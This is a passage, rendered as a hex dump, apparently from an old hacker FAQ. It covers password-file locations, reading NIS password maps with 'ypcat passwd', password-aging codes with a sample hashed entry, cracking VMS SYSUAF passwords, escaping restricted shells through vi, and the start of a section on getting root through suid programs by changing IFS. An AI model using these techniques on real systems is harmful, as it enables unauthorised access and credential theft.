|00002160| 20 20 20 20 78 0a 53 79 | 73 74 65 6d 20 56 20 52 | x.Sy|stem V R|
|00002170| 65 6c 65 61 73 65 20 34 | 2e 32 20 20 2f 65 74 63 |elease 4|.2 /etc|
|00002180| 2f 73 65 63 75 72 69 74 | 79 2f 2a 20 64 61 74 61 |/securit|y/* data|
|00002190| 62 61 73 65 0a 55 6c 74 | 72 69 78 20 34 20 20 20 |base.Ult|rix 4 |
|000021a0| 20 20 20 20 20 20 20 20 | 20 20 20 2f 65 74 63 2f | | /etc/|
|000021b0| 61 75 74 68 5b 2e 64 69 | 72 7c 2e 70 61 67 5d 20 |auth[.di|r|.pag] |
|000021c0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0a 55 4e 49 | | *.UNI|
|000021d0| 43 4f 53 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |COS | |
|000021e0| 20 20 20 2f 65 74 63 2f | 75 64 62 20 20 20 20 20 | /etc/|udb |
|000021f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002200| 20 20 20 2a 0a 0a 0a 30 | 35 2e 20 57 68 61 74 20 | *...0|5. What |
|00002210| 69 73 20 4e 49 53 2f 79 | 70 3f 0a 0a 4e 49 53 20 |is NIS/y|p?..NIS |
|00002220| 28 4e 65 74 77 6f 72 6b | 20 49 6e 66 6f 72 6d 61 |(Network| Informa|
|00002230| 74 69 6f 6e 20 53 79 73 | 74 65 6d 29 20 69 6e 20 |tion Sys|tem) in |
|00002240| 74 68 65 20 63 75 72 72 | 65 6e 74 20 6e 61 6d 65 |the curr|ent name|
|00002250| 20 66 6f 72 20 77 68 61 | 74 20 77 61 73 20 6f 6e | for wha|t was on|
|00002260| 63 65 0a 6b 6e 6f 77 6e | 20 61 73 20 79 70 20 28 |ce.known| as yp (|
|00002270| 59 65 6c 6c 6f 77 20 50 | 61 67 65 73 29 2e 20 20 |Yellow P|ages). |
|00002280| 54 68 65 20 70 75 72 70 | 6f 73 65 20 66 6f 72 20 |The purp|ose for |
|00002290| 4e 49 53 20 69 73 20 74 | 6f 20 61 6c 6c 6f 77 20 |NIS is t|o allow |
|000022a0| 6d 61 6e 79 0a 6d 61 63 | 68 69 6e 65 73 20 6f 6e |many.mac|hines on|
|000022b0| 20 61 20 6e 65 74 77 6f | 72 6b 20 74 6f 20 73 68 | a netwo|rk to sh|
|000022c0| 61 72 65 20 63 6f 6e 66 | 69 67 75 72 61 74 69 6f |are conf|iguratio|
|000022d0| 6e 20 69 6e 66 6f 72 6d | 61 74 69 6f 6e 2c 20 69 |n inform|ation, i|
|000022e0| 6e 63 6c 75 64 69 6e 67 | 0a 70 61 73 73 77 6f 72 |ncluding|.passwor|
|000022f0| 64 20 64 61 74 61 2e 20 | 20 4e 49 53 20 69 73 20 |d data. | NIS is |
|00002300| 6e 6f 74 20 64 65 73 69 | 67 6e 65 64 20 74 6f 20 |not desi|gned to |
|00002310| 70 72 6f 6d 6f 74 65 20 | 73 79 73 74 65 6d 20 73 |promote |system s|
|00002320| 65 63 75 72 69 74 79 2e | 20 20 49 66 0a 79 6f 75 |ecurity.| If.you|
|00002330| 72 20 73 79 73 74 65 6d | 20 75 73 65 73 20 4e 49 |r system| uses NI|
|00002340| 53 20 79 6f 75 20 77 69 | 6c 6c 20 68 61 76 65 20 |S you wi|ll have |
|00002350| 61 20 76 65 72 79 20 73 | 68 6f 72 74 20 2f 65 74 |a very s|hort /et|
|00002360| 63 2f 70 61 73 73 77 64 | 20 66 69 6c 65 20 74 68 |c/passwd| file th|
|00002370| 61 74 0a 69 6e 63 6c 75 | 64 65 73 20 61 20 6c 69 |at.inclu|des a li|
|00002380| 6e 65 20 74 68 61 74 20 | 6c 6f 6f 6b 73 20 6c 69 |ne that |looks li|
|00002390| 6b 65 20 74 68 69 73 3a | 0a 0a 2b 3a 3a 30 3a 30 |ke this:|..+::0:0|
|000023a0| 3a 3a 3a 0a 0a 54 6f 20 | 76 69 65 77 20 74 68 65 |:::..To |view the|
|000023b0| 20 72 65 61 6c 20 70 61 | 73 73 77 6f 72 64 20 66 | real pa|ssword f|
|000023c0| 69 6c 65 20 75 73 65 20 | 74 68 69 73 20 63 6f 6d |ile use |this com|
|000023d0| 6d 61 6e 64 20 22 79 70 | 63 61 74 20 70 61 73 73 |mand "yp|cat pass|
|000023e0| 77 64 22 0a 0a 0a 30 36 | 2e 20 57 68 61 74 20 61 |wd"...06|. What a|
|000023f0| 72 65 20 74 68 6f 73 65 | 20 77 65 69 72 64 20 63 |re those| weird c|
|00002400| 68 61 72 61 63 74 65 72 | 73 20 61 66 74 65 72 20 |haracter|s after |
|00002410| 74 68 65 20 63 6f 6d 6d | 61 20 69 6e 20 6d 79 20 |the comm|a in my |
|00002420| 70 61 73 73 77 64 20 66 | 69 6c 65 3f 0a 0a 54 68 |passwd f|ile?..Th|
|00002430| 65 20 63 68 61 72 61 63 | 74 65 72 73 20 61 72 65 |e charac|ters are|
|00002440| 20 70 61 73 73 77 6f 72 | 64 20 61 67 69 6e 67 20 | passwor|d aging |
|00002450| 64 61 74 61 2e 20 20 50 | 61 73 73 77 6f 72 64 20 |data. P|assword |
|00002460| 61 67 69 6e 67 20 66 6f | 72 63 65 73 20 74 68 65 |aging fo|rces the|
|00002470| 0a 75 73 65 72 20 74 6f | 20 63 68 61 6e 67 65 20 |.user to| change |
|00002480| 70 61 73 73 77 6f 72 64 | 73 20 61 66 74 65 72 20 |password|s after |
|00002490| 61 20 53 79 73 74 65 6d | 20 41 64 6d 69 6e 69 73 |a System| Adminis|
|000024a0| 74 72 61 74 6f 72 20 73 | 70 65 63 69 66 69 65 64 |trator s|pecified|
|000024b0| 20 70 65 72 69 6f 64 0a | 6f 66 20 74 69 6d 65 2e | period.|of time.|
|000024c0| 20 20 50 61 73 73 77 6f | 72 64 20 61 67 69 6e 67 | Passwo|rd aging|
|000024d0| 20 63 61 6e 20 61 6c 73 | 6f 20 66 6f 72 63 65 20 | can als|o force |
|000024e0| 61 20 75 73 65 72 20 74 | 6f 20 6b 65 65 70 20 61 |a user t|o keep a|
|000024f0| 20 70 61 73 73 77 6f 72 | 64 20 66 6f 72 0a 61 20 | passwor|d for.a |
|00002500| 63 65 72 74 61 69 6e 20 | 6e 75 6d 62 65 72 20 6f |certain |number o|
|00002510| 66 20 77 65 65 6b 73 20 | 62 65 66 6f 72 65 20 63 |f weeks |before c|
|00002520| 68 61 6e 67 69 6e 67 20 | 69 74 2e 0a 0a 5d 0a 5d |hanging |it...].]|
|00002530| 20 53 61 6d 70 6c 65 20 | 65 6e 74 72 79 20 66 72 | Sample |entry fr|
|00002540| 6f 6d 20 2f 65 74 63 2f | 70 61 73 73 77 64 20 77 |om /etc/|passwd w|
|00002550| 69 74 68 20 70 61 73 73 | 77 6f 72 64 20 61 67 69 |ith pass|word agi|
|00002560| 6e 67 20 69 6e 73 74 61 | 6c 6c 65 64 3a 0a 5d 0a |ng insta|lled:.].|
|00002570| 5d 20 77 69 6c 6c 3a 35 | 66 67 36 33 66 68 44 33 |] will:5|fg63fhD3|
|00002580| 64 2c 4d 2e 7a 38 3a 39 | 34 30 36 3a 31 32 3a 57 |d,M.z8:9|406:12:W|
|00002590| 69 6c 6c 20 53 70 65 6e | 63 65 72 3a 2f 68 6f 6d |ill Spen|cer:/hom|
|000025a0| 65 2f 66 73 67 2f 77 69 | 6c 6c 3a 2f 62 69 6e 2f |e/fsg/wi|ll:/bin/|
|000025b0| 62 61 73 68 0a 5d 0a 0a | 4e 6f 74 65 20 74 68 65 |bash.]..|Note the|
|000025c0| 20 63 6f 6d 6d 61 20 69 | 6e 20 74 68 65 20 65 6e | comma i|n the en|
|000025d0| 63 72 79 70 74 65 64 20 | 70 61 73 73 77 6f 72 64 |crypted |password|
|000025e0| 20 66 69 65 6c 64 2e 20 | 20 54 68 65 20 63 68 61 | field. | The cha|
|000025f0| 72 61 63 74 65 72 73 20 | 61 66 74 65 72 0a 74 68 |racters |after.th|
|00002600| 65 20 63 6f 6d 6d 61 20 | 61 72 65 20 75 73 65 64 |e comma |are used|
|00002610| 20 62 79 20 74 68 65 20 | 70 61 73 73 77 6f 72 64 | by the |password|
|00002620| 20 61 67 69 6e 67 20 6d | 65 63 68 61 6e 69 73 6d | aging m|echanism|
|00002630| 2e 0a 0a 5d 0a 5d 20 50 | 61 73 73 77 6f 72 64 20 |...].] P|assword |
|00002640| 61 67 69 6e 67 20 63 68 | 61 72 61 63 74 65 72 73 |aging ch|aracters|
|00002650| 20 66 72 6f 6d 20 61 62 | 6f 76 65 20 65 78 61 6d | from ab|ove exam|
|00002660| 70 6c 65 3a 0a 5d 0a 5d | 20 4d 2e 7a 38 0a 5d 0a |ple:.].]| M.z8.].|
|00002670| 0a 54 68 65 20 66 6f 75 | 72 20 63 68 61 72 61 63 |.The fou|r charac|
|00002680| 74 65 72 73 20 61 72 65 | 20 69 6e 74 65 72 70 72 |ters are| interpr|
|00002690| 65 74 65 64 20 61 73 20 | 66 6f 6c 6c 6f 77 73 3a |eted as |follows:|
|000026a0| 0a 0a 20 20 31 3a 20 4d | 61 78 69 6d 75 6d 20 6e |.. 1: M|aximum n|
|000026b0| 75 6d 62 65 72 20 6f 66 | 20 77 65 65 6b 73 20 61 |umber of| weeks a|
|000026c0| 20 70 61 73 73 77 6f 72 | 64 20 63 61 6e 20 62 65 | passwor|d can be|
|000026d0| 20 75 73 65 64 20 77 69 | 74 68 6f 75 74 20 63 68 | used wi|thout ch|
|000026e0| 61 6e 67 69 6e 67 2e 0a | 20 20 32 3a 20 4d 69 6e |anging..| 2: Min|
|000026f0| 69 6d 75 6d 20 6e 75 6d | 62 65 72 20 6f 66 20 77 |imum num|ber of w|
|00002700| 65 65 6b 73 20 61 20 70 | 61 73 73 77 6f 72 64 20 |eeks a p|assword |
|00002710| 6d 75 73 74 20 62 65 20 | 75 73 65 64 20 62 65 66 |must be |used bef|
|00002720| 6f 72 65 20 63 68 61 6e | 67 69 6e 67 2e 0a 33 26 |ore chan|ging..3&|
|00002730| 34 3a 20 4c 61 73 74 20 | 74 69 6d 65 20 70 61 73 |4: Last |time pas|
|00002740| 73 77 6f 72 64 20 77 61 | 73 20 63 68 61 6e 67 65 |sword wa|s change|
|00002750| 64 2c 20 69 6e 20 6e 75 | 6d 62 65 72 20 6f 66 20 |d, in nu|mber of |
|00002760| 77 65 65 6b 73 20 73 69 | 6e 63 65 20 31 39 37 30 |weeks si|nce 1970|
|00002770| 2e 0a 0a 54 68 72 65 65 | 20 73 70 65 63 69 61 6c |...Three| special|
|00002780| 20 63 61 73 65 73 20 73 | 68 6f 75 6c 64 20 62 65 | cases s|hould be|
|00002790| 20 6e 6f 74 65 64 3a 0a | 0a 49 66 20 74 68 65 20 | noted:.|.If the |
|000027a0| 66 69 72 73 74 20 61 6e | 64 20 73 65 63 6f 6e 64 |first an|d second|
|000027b0| 20 63 68 61 72 61 63 74 | 65 72 73 20 61 72 65 20 | charact|ers are |
|000027c0| 73 65 74 20 74 6f 20 27 | 2e 2e 27 20 74 68 65 20 |set to '|..' the |
|000027d0| 75 73 65 72 20 77 69 6c | 6c 20 62 65 0a 66 6f 72 |user wil|l be.for|
|000027e0| 63 65 64 20 74 6f 20 63 | 68 61 6e 67 65 20 68 69 |ced to c|hange hi|
|000027f0| 73 2f 68 65 72 20 70 61 | 73 73 77 64 20 74 68 65 |s/her pa|sswd the|
|00002800| 20 6e 65 78 74 20 74 69 | 6d 65 20 68 65 2f 73 68 | next ti|me he/sh|
|00002810| 65 20 6c 6f 67 73 20 69 | 6e 2e 20 20 54 68 65 0a |e logs i|n. The.|
|00002820| 70 61 73 73 77 64 20 70 | 72 6f 67 72 61 6d 20 77 |passwd p|rogram w|
|00002830| 69 6c 6c 20 74 68 65 6e | 20 72 65 6d 6f 76 65 20 |ill then| remove |
|00002840| 74 68 65 20 70 61 73 73 | 77 64 20 61 67 69 6e 67 |the pass|wd aging|
|00002850| 20 63 68 61 72 61 63 74 | 65 72 73 2c 20 61 6e 64 | charact|ers, and|
|00002860| 20 74 68 65 0a 75 73 65 | 72 20 77 69 6c 6c 20 6e | the.use|r will n|
|00002870| 6f 74 20 62 65 20 73 75 | 62 6a 65 63 74 65 64 20 |ot be su|bjected |
|00002880| 74 6f 20 70 61 73 73 77 | 6f 72 64 20 61 67 69 6e |to passw|ord agin|
|00002890| 67 20 72 65 71 75 69 72 | 65 6d 65 6e 74 73 20 61 |g requir|ements a|
|000028a0| 67 61 69 6e 2e 0a 0a 49 | 66 20 74 68 65 20 74 68 |gain...I|f the th|
|000028b0| 69 72 64 20 61 6e 64 20 | 66 6f 75 72 74 68 20 63 |ird and |fourth c|
|000028c0| 68 61 72 61 63 74 65 72 | 73 20 61 72 65 20 73 65 |haracter|s are se|
|000028d0| 74 20 74 6f 20 27 2e 2e | 27 20 74 68 65 20 75 73 |t to '..|' the us|
|000028e0| 65 72 20 77 69 6c 6c 20 | 62 65 0a 66 6f 72 63 65 |er will |be.force|
|000028f0| 64 20 74 6f 20 63 68 61 | 6e 67 65 20 68 69 73 2f |d to cha|nge his/|
|00002900| 68 65 72 20 70 61 73 73 | 77 64 20 74 68 65 20 6e |her pass|wd the n|
|00002910| 65 78 74 20 74 69 6d 65 | 20 68 65 2f 73 68 65 20 |ext time| he/she |
|00002920| 6c 6f 67 73 20 69 6e 2e | 20 50 61 73 73 77 6f 72 |logs in.| Passwor|
|00002930| 64 0a 61 67 69 6e 67 20 | 77 69 6c 6c 20 74 68 65 |d.aging |will the|
|00002940| 6e 20 6f 63 63 75 72 20 | 61 73 20 64 65 66 69 6e |n occur |as defin|
|00002950| 65 64 20 62 79 20 74 68 | 65 20 66 69 72 73 74 20 |ed by th|e first |
|00002960| 61 6e 64 20 73 65 63 6f | 6e 64 20 63 68 61 72 61 |and seco|nd chara|
|00002970| 63 74 65 72 73 2e 0a 0a | 49 66 20 74 68 65 20 66 |cters...|If the f|
|00002980| 69 72 73 74 20 63 68 61 | 72 61 63 74 65 72 20 28 |irst cha|racter (|
|00002990| 4d 41 58 29 20 69 73 20 | 6c 65 73 73 20 74 68 61 |MAX) is |less tha|
|000029a0| 6e 20 74 68 65 20 73 65 | 63 6f 6e 64 20 63 68 61 |n the se|cond cha|
|000029b0| 72 61 63 74 65 72 20 28 | 4d 49 4e 29 2c 0a 74 68 |racter (|MIN),.th|
|000029c0| 65 20 75 73 65 72 20 69 | 73 20 6e 6f 74 20 61 6c |e user i|s not al|
|000029d0| 6c 6f 77 65 64 20 74 6f | 20 63 68 61 6e 67 65 20 |lowed to| change |
|000029e0| 68 69 73 2f 68 65 72 20 | 70 61 73 73 77 6f 72 64 |his/her |password|
|000029f0| 2e 20 20 4f 6e 6c 79 20 | 72 6f 6f 74 20 63 61 6e |. Only |root can|
|00002a00| 0a 63 68 61 6e 67 65 20 | 74 68 61 74 20 75 73 65 |.change |that use|
|00002a10| 72 73 20 70 61 73 73 77 | 6f 72 64 2e 0a 0a 49 74 |rs passw|ord...It|
|00002a20| 20 73 68 6f 75 6c 64 20 | 61 6c 73 6f 20 62 65 20 | should |also be |
|00002a30| 6e 6f 74 65 64 20 74 68 | 61 74 20 74 68 65 20 73 |noted th|at the s|
|00002a40| 75 20 63 6f 6d 6d 61 6e | 64 20 64 6f 65 73 20 6e |u comman|d does n|
|00002a50| 6f 74 20 63 68 65 63 6b | 20 74 68 65 20 70 61 73 |ot check| the pas|
|00002a60| 73 77 6f 72 64 0a 61 67 | 69 6e 67 20 64 61 74 61 |sword.ag|ing data|
|00002a70| 2e 20 20 41 6e 20 61 63 | 63 6f 75 6e 74 20 77 69 |. An ac|count wi|
|00002a80| 74 68 20 61 6e 20 65 78 | 70 69 72 65 64 20 70 61 |th an ex|pired pa|
|00002a90| 73 73 77 6f 72 64 20 63 | 61 6e 20 62 65 20 73 75 |ssword c|an be su|
|00002aa0| 27 64 20 74 6f 0a 77 69 | 74 68 6f 75 74 20 62 65 |'d to.wi|thout be|
|00002ab0| 69 6e 67 20 66 6f 72 63 | 65 64 20 74 6f 20 63 68 |ing forc|ed to ch|
|00002ac0| 61 6e 67 65 20 74 68 65 | 20 70 61 73 73 77 6f 72 |ange the| passwor|
|00002ad0| 64 2e 0a 0a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |d.... | |
|00002ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 50 61 73 | | Pas|
|00002af0| 73 77 6f 72 64 20 41 67 | 69 6e 67 20 43 6f 64 65 |sword Ag|ing Code|
|00002b00| 73 0a 2b 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |s.+-----|--------|
|00002b10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002b20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002b30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002b40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2b 0a 7c 20 20 |--------|---+.| |
|00002b50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002b90| 20 20 20 20 20 20 7c 0a | 7c 20 43 68 61 72 61 63 | |.|| Charac|
|00002ba0| 74 65 72 3a 20 20 2e 20 | 20 2f 20 20 30 20 20 31 |ter: . | / 0 1|
|00002bb0| 20 20 32 20 20 33 20 20 | 34 20 20 35 20 20 36 20 | 2 3 |4 5 6 |
|00002bc0| 20 37 20 20 38 20 20 39 | 20 20 41 20 20 42 20 20 | 7 8 9| A B |
|00002bd0| 43 20 20 44 20 20 45 20 | 20 46 20 20 47 20 20 48 |C D E | F G H|
|00002be0| 20 7c 0a 7c 20 20 20 20 | 4e 75 6d 62 65 72 3a 20 | |.| |Number: |
|00002bf0| 20 30 20 20 31 20 20 32 | 20 20 33 20 20 34 20 20 | 0 1 2| 3 4 |
|00002c00| 35 20 20 36 20 20 37 20 | 20 38 20 20 39 20 31 30 |5 6 7 | 8 9 10|
|00002c10| 20 31 31 20 31 32 20 31 | 33 20 31 34 20 31 35 20 | 11 12 1|3 14 15 |
|00002c20| 31 36 20 31 37 20 31 38 | 20 31 39 20 7c 0a 7c 20 |16 17 18| 19 |.| |
|00002c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002c60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002c70| 20 20 20 20 20 20 20 7c | 0a 7c 20 43 68 61 72 61 | ||.| Chara|
|00002c80| 63 74 65 72 3a 20 20 49 | 20 20 4a 20 20 4b 20 20 |cter: I| J K |
|00002c90| 4c 20 20 4d 20 20 4e 20 | 20 4f 20 20 50 20 20 51 |L M N | O P Q|
|00002ca0| 20 20 52 20 20 53 20 20 | 54 20 20 55 20 20 56 20 | R S |T U V |
|00002cb0| 20 57 20 20 58 20 20 59 | 20 20 5a 20 20 61 20 20 | W X Y| Z a |
|00002cc0| 62 20 7c 0a 7c 20 20 20 | 20 4e 75 6d 62 65 72 3a |b |.| | Number:|
|00002cd0| 20 32 30 20 32 31 20 32 | 32 20 32 33 20 32 34 20 | 20 21 2|2 23 24 |
|00002ce0| 32 35 20 32 36 20 32 37 | 20 32 38 20 32 39 20 33 |25 26 27| 28 29 3|
|00002cf0| 30 20 33 31 20 33 32 20 | 33 33 20 33 34 20 33 35 |0 31 32 |33 34 35|
|00002d00| 20 33 36 20 33 37 20 33 | 38 20 33 39 20 7c 0a 7c | 36 37 3|8 39 |.||
|00002d10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002d20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002d50| 20 20 20 20 20 20 20 20 | 7c 0a 7c 20 43 68 61 72 | ||.| Char|
|00002d60| 61 63 74 65 72 3a 20 20 | 63 20 20 64 20 20 65 20 |acter: |c d e |
|00002d70| 20 66 20 20 67 20 20 68 | 20 20 69 20 20 6a 20 20 | f g h| i j |
|00002d80| 6b 20 20 6c 20 20 6d 20 | 20 6e 20 20 6f 20 20 70 |k l m | n o p|
|00002d90| 20 20 71 20 20 72 20 20 | 73 20 20 74 20 20 75 20 | q r |s t u |
|00002da0| 20 76 20 7c 0a 7c 20 20 | 20 20 4e 75 6d 62 65 72 | v |.| | Number|
|00002db0| 3a 20 34 30 20 34 31 20 | 34 32 20 34 33 20 34 34 |: 40 41 |42 43 44|
|00002dc0| 20 34 35 20 34 36 20 34 | 37 20 34 38 20 34 39 20 | 45 46 4|7 48 49 |
|00002dd0| 35 30 20 35 31 20 35 32 | 20 35 33 20 35 34 20 35 |50 51 52| 53 54 5|
|00002de0| 35 20 35 36 20 35 37 20 | 35 38 20 35 39 20 7c 0a |5 56 57 |58 59 |.|
|00002df0| 7c 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 || | |
|00002e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e30| 20 20 20 20 20 20 20 20 | 20 7c 0a 7c 20 43 68 61 | | |.| Cha|
|00002e40| 72 61 63 74 65 72 3a 20 | 20 77 20 20 78 20 20 79 |racter: | w x y|
|00002e50| 20 20 7a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | z | |
|00002e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e80| 20 20 20 20 7c 0a 7c 20 | 20 20 20 4e 75 6d 62 65 | |.| | Numbe|
|00002e90| 72 3a 20 36 30 20 36 31 | 20 36 32 20 36 33 20 20 |r: 60 61| 62 63 |
|00002ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 7c | | ||
|00002ed0| 0a 7c 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.| | |
|00002ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002ef0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f10| 20 20 20 20 20 20 20 20 | 20 20 7c 0a 2b 2d 2d 2d | | |.+---|
|00002f20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f60| 2d 2d 2d 2d 2d 2b 0a 0a | 0a 30 37 2e 20 48 6f 77 |-----+..|.07. How|
|00002f70| 20 64 6f 20 49 20 61 63 | 63 65 73 73 20 74 68 65 | do I ac|cess the|
|00002f80| 20 70 61 73 73 77 6f 72 | 64 20 66 69 6c 65 20 75 | passwor|d file u|
|00002f90| 6e 64 65 72 20 56 4d 53 | 3f 0a 0a 55 6e 64 65 72 |nder VMS|?..Under|
|00002fa0| 20 56 4d 53 2c 20 74 68 | 65 20 70 61 73 73 77 6f | VMS, th|e passwo|
|00002fb0| 72 64 20 66 69 6c 65 20 | 69 73 20 53 59 53 24 53 |rd file |is SYS$S|
|00002fc0| 59 53 54 45 4d 3a 53 59 | 53 55 41 46 2e 44 41 54 |YSTEM:SY|SUAF.DAT|
|00002fd0| 2e 20 20 48 6f 77 65 76 | 65 72 2c 0a 75 6e 6c 69 |. Howev|er,.unli|
|00002fe0| 6b 65 20 55 6e 69 78 2c | 20 6d 6f 73 74 20 75 73 |ke Unix,| most us|
|00002ff0| 65 72 73 20 64 6f 20 6e | 6f 74 20 68 61 76 65 20 |ers do n|ot have |
|00003000| 61 63 63 65 73 73 20 74 | 6f 20 72 65 61 64 20 74 |access t|o read t|
|00003010| 68 65 20 70 61 73 73 77 | 6f 72 64 20 66 69 6c 65 |he passw|ord file|
|00003020| 2e 0a 0a 0a 30 38 2e 20 | 48 6f 77 20 64 6f 20 49 |....08. |How do I|
|00003030| 20 63 72 61 63 6b 20 56 | 4d 53 20 70 61 73 73 77 | crack V|MS passw|
|00003040| 6f 72 64 73 3f 0a 0a 57 | 72 69 74 65 20 61 20 70 |ords?..W|rite a p|
|00003050| 72 6f 67 72 61 6d 20 74 | 68 61 74 20 75 73 65 73 |rogram t|hat uses|
|00003060| 20 74 68 65 20 53 59 53 | 24 47 45 54 55 41 46 20 | the SYS|$GETUAF |
|00003070| 66 75 6e 63 74 69 6f 6e | 73 20 74 6f 20 63 6f 6d |function|s to com|
|00003080| 70 61 72 65 20 74 68 65 | 0a 72 65 73 75 6c 74 73 |pare the|.results|
|00003090| 20 6f 66 20 65 6e 63 72 | 79 70 74 65 64 20 77 6f | of encr|ypted wo|
|000030a0| 72 64 73 20 61 67 61 69 | 6e 73 74 20 74 68 65 20 |rds agai|nst the |
|000030b0| 65 6e 63 72 79 70 74 65 | 64 20 64 61 74 61 20 69 |encrypte|d data i|
|000030c0| 6e 20 53 59 53 55 41 46 | 2e 44 41 54 2e 0a 0a 54 |n SYSUAF|.DAT...T|
|000030d0| 77 6f 20 73 75 63 68 20 | 70 72 6f 67 72 61 6d 73 |wo such |programs|
|000030e0| 20 61 72 65 20 6b 6e 6f | 77 6e 20 74 6f 20 65 78 | are kno|wn to ex|
|000030f0| 69 73 74 2c 20 43 48 45 | 43 4b 5f 50 41 53 53 57 |ist, CHE|CK_PASSW|
|00003100| 4f 52 44 20 61 6e 64 0a | 47 55 45 53 53 5f 50 41 |ORD and.|GUESS_PA|
|00003110| 53 53 57 4f 52 44 2e 0a | 0a 0a 30 39 2e 20 48 6f |SSWORD..|..09. Ho|
|00003120| 77 20 64 6f 20 49 20 62 | 72 65 61 6b 20 6f 75 74 |w do I b|reak out|
|00003130| 20 6f 66 20 61 20 72 65 | 73 74 72 69 63 74 65 64 | of a re|stricted|
|00003140| 20 73 68 65 6c 6c 3f 0a | 0a 4f 6e 20 70 6f 6f 72 | shell?.|.On poor|
|00003150| 6c 79 20 69 6d 70 6c 65 | 6d 65 6e 74 65 64 20 72 |ly imple|mented r|
|00003160| 65 73 74 72 69 63 74 65 | 64 20 73 68 65 6c 6c 73 |estricte|d shells|
|00003170| 20 79 6f 75 20 63 61 6e | 20 62 72 65 61 6b 20 6f | you can| break o|
|00003180| 75 74 20 6f 66 20 74 68 | 65 0a 72 65 73 74 72 69 |ut of th|e.restri|
|00003190| 63 74 65 64 20 65 6e 76 | 69 72 6f 6e 6d 65 6e 74 |cted env|ironment|
|000031a0| 20 62 79 20 72 75 6e 6e | 69 6e 67 20 61 20 70 72 | by runn|ing a pr|
|000031b0| 6f 67 72 61 6d 20 74 68 | 61 74 20 66 65 61 74 75 |ogram th|at featu|
|000031c0| 72 65 73 20 61 20 73 68 | 65 6c 6c 0a 66 75 6e 63 |res a sh|ell.func|
|000031d0| 74 69 6f 6e 2e 20 20 41 | 20 67 6f 6f 64 20 65 78 |tion. A| good ex|
|000031e0| 61 6d 70 6c 65 20 69 73 | 20 76 69 2e 20 20 52 75 |ample is| vi. Ru|
|000031f0| 6e 20 76 69 20 61 6e 64 | 20 75 73 65 20 74 68 69 |n vi and| use thi|
|00003200| 73 20 63 6f 6d 6d 61 6e | 64 3a 0a 0a 3a 73 65 74 |s comman|d:..:set|
|00003210| 20 73 68 65 6c 6c 3d 2f | 62 69 6e 2f 73 68 0a 0a | shell=/|bin/sh..|
|00003220| 74 68 65 6e 20 73 68 65 | 6c 6c 20 75 73 69 6e 67 |then she|ll using|
|00003230| 20 74 68 69 73 20 63 6f | 6d 6d 61 6e 64 3a 0a 0a | this co|mmand:..|
|00003240| 3a 73 68 65 6c 6c 0a 0a | 0a 31 30 2e 20 48 6f 77 |:shell..|.10. How|
|00003250| 20 64 6f 20 49 20 67 61 | 69 6e 20 72 6f 6f 74 20 | do I ga|in root |
|00003260| 66 72 6f 6d 20 61 20 73 | 75 69 64 20 73 63 72 69 |from a s|uid scri|
|00003270| 70 74 20 6f 72 20 70 72 | 6f 67 72 61 6d 3f 0a 0a |pt or pr|ogram?..|
|00003280| 31 2e 20 43 68 61 6e 67 | 65 20 49 46 53 2e 0a 0a |1. Chang|e IFS...|
|00003290| 49 66 20 74 68 65 20 70 | 72 6f 67 72 61 6d 20 63 |If the p|rogram c|
|000032a0| 61 6c 6c 73 20 61 6e 79 | 20 6f 74 68 65 72 20 70 |alls any| other p|
